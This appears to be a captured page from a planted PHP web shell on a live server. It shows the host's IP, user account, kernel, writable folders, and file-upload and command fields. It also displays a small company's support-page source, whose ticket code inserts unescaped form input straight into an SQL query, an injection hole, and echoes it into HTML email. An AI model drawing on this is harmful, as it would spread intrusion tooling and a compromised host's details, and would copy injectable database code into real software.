403Webshell
Server IP : 51.89.169.208  /  Your IP : 216.73.216.57
Web Server : Apache
System : Linux ns3209505.ip-198-244-202.eu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Tue Nov 5 04:50:16 EST 2024 x86_64
User : yellowleaf ( 1019)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/yellowleaf/public_html/support/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yellowleaf/public_html/support/BACKUP_index.html
<!DOCTYPE html>
<html lang="en">
   <head>
	  <title>YellowLeaf - Homepage</title>
      <meta charset="UTF-8">
      <meta http-equiv="X-UA-Compatible" content="IE=edge">
      <meta name="viewport" content="width=device-width, initial-scale=1.0">
      <link rel="stylesheet" href="/header-footer/global.css">
	  <link rel="stylesheet" href="contact.css">
      <script src="https://code.jquery.com/jquery-3.6.0.min.js" integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" crossorigin="anonymous"></script>
</head>
<?php
  $path  = $_SERVER['DOCUMENT_ROOT'];
  include_once $path.'/header-footer/header.html';
  $business_nav = $_GET['info'];
if(isset($_POST['submit'])){
	
	$name=ucwords($_POST['name']);
	$email=$_POST['email'];
	$message=$_POST['message'];
	$subject=$_POST['subject'];
	$date=time();
	$browser=$_SERVER['HTTP_USER_AGENT'];
	
	// creating ticket convo
	$r1 = $connect->query("INSERT INTO tickets SET email = '{$email}', name = '{$name}', subject = '{$subject}', message = '{$message}', staff = '0', date = '{$date}', browser='{$browser}', status='1'") or die(mysqli_error());
	if ($r1) {$ticket_id = $connect->insert_id;}else{die('Couldn\'t create ticket conversation!');}
	
	/// sending email
	$to  = "$name <$email>";
	$subject_em = "Support ticket at YellowLeaf - Ticket Number $ticket_id";
	$email_message = '
		<div style="margin-bottom:5px;">Dear <b>'.$name.'</b></div>
		<div>
		You have recently contacted us at YellowLeaf on '.date("l jS F Y, g:ia", $date).'.<br><br>
		<b>Your ticket number is:</b> '.$ticket_id.'<br><br>
		<b>Your subject is:</b><br>
		'.$subject.'<br><br>

		<b>Your message is:</b><br>
		'.$message.'<br><br>
		<a href="/support/view_ticket.html?email='.$email.'">Click here to view your ticket.</a>
		</div>';
	
	// message template which includes $message and $email_message 
	include '../email_tmp/em_tmp.php';

	// To send HTML mail, the Content-type header must be set
	$headers  = 'MIME-Version: 1.0' . "\r\n";
	$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";

	$headers .= 'From: YellowLeaf <support@yellowleaf.co.uk>' . "\r\n";
	mail($to, $subject_em, $message, $headers,"-f support@yellowleaf.co.uk");
	$success=TRUE;

}


?>

    <!-- start: Search -->
     <div class="search">
        <div class="container">
            <form action="/search/" class="search-form">
                <div class="search-form-group">
                    <svg viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
                        <path d="M7.33333 12.6667C10.2789 12.6667 12.6667 10.2789 12.6667 7.33333C12.6667 4.38781 10.2789 2 7.33333 2C4.38781 2 2 4.38781 2 7.33333C2 10.2789 4.38781 12.6667 7.33333 12.6667Z" stroke="#6D7280" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"></path>
                        <path d="M14 14L11.1 11.1" stroke="#6D7280" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"></path>
                    </svg>
                    <input id="box" name="q" type="text" class="form-control" placeholder="Looking for">
					<input type="hidden" id="cat_found" name="cat_found">
			        <input type="hidden" id="type" name="type">
                </div>
                <div class="search-form-group">
                    <svg viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
                        <path d="M7.33333 12.6667C10.2789 12.6667 12.6667 10.2789 12.6667 7.33333C12.6667 4.38781 10.2789 2 7.33333 2C4.38781 2 2 4.38781 2 7.33333C2 10.2789 4.38781 12.6667 7.33333 12.6667Z" stroke="#6D7280" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"></path>
                        <path d="M14 14L11.1 11.1" stroke="#6D7280" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"></path>
                    </svg>
                    <input type="text" name="a" class="form-control" placeholder="In">
					<input type="hidden" id="area_found" name="area_found">
                </div>
                <button type="submit" class="btn btn-outline btn-outline-black">
                    Search
                    <svg viewBox="0 0 21 16" fill="none" xmlns="http://www.w3.org/2000/svg">
                        <path d="M13.0998 15.5L11.7582 14.1902L17 8.95114H0.588135V7.08004H17L11.727 1.80977L13.0686 0.5L20.5881 8.01559L13.0998 15.5Z"></path>
                    </svg>
                </button>
            </form>
        </div>
    </div>
    <!-- end: Search -->

    <!-- start: Contact -->
    <section>
        <div class="container">
            <div class="contact-wrapper">
                <div class="contact-side">
                    <div class="contact-side-menu">
                        <div class="contact-side-menu-header">Info Menu</div>
                        <a href="/about/" class="contact-side-menu-link">About Us</a>
                        <a href="/support/" class="contact-side-menu-link active">Contact Us</a>
                        <a href="/terms/" class="contact-side-menu-link">Terms & Conditions</a>
                        <a href="/privacy/" class="contact-side-menu-link">Privacy Policy</a>
                        <a href="/cookie_policy/" class="contact-side-menu-link">Cookie Policy</a>
                    </div>
                </div>
                <div class="contact-main">
                    <div class="contact-main-title">Contact Us</div>
                    <p class="contact-main-description">To contact YellowLeaf, please fill in the form below. After submitting, you will be given a private ticket where the progress of your support will be displayed.</p>
                    <h6 class="contact-main-note">Please take note, due to the high demand of support, we are not able to answer all questions and problems in time. We will try our best at all times.</h6>
                   
					<form class="contact-main-form" name="RegForm" action="" method="POST" onsubmit="return CheckSupport();">
                        <div class="contact-form-group">
                            <label for="name">Your Name:</label>
                            <input type="text" name="name" class="form-control" id="name">
                        </div>
                        <div class="contact-form-group">
                            <label for="email">Your Email:</label>
                            <input type="email" class="form-control" name="email" id="email">
                        </div>
                        <div class="contact-form-group">
                            <label for="message">Your Message:</label>
                            <textarea name="message" class="form-control" id="message" cols="30" rows="5"></textarea>
                        </div>
                        <button type="submit" class="btn btn-yellow">Send</button>
                    </form>
                </div>
            </div>
        </div>
    </section>
    <!-- end: Contact -->

<?php
   include_once $path.'/header-footer/footer.html';
?>
<script src="/js/js.js"></script>
<script language="javascript"> 
<!--
function CheckSupport(){
 var em = /@/;
 // name
 if(document.RegForm.name.value==""){
  window.alert('Please enter your name');
  document.RegForm.name.focus();
  return false;
 }
 // email
 if(!em.test(document.RegForm.email.value)){
  alert("Please enter a valid email address");
  document.RegForm.email.focus();
  return false;
 }

 //  message
 if(document.RegForm.message.value==""){
  window.alert('Please enter your message');
  document.RegForm.message.focus();
  return false;
 }
}
//-->
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit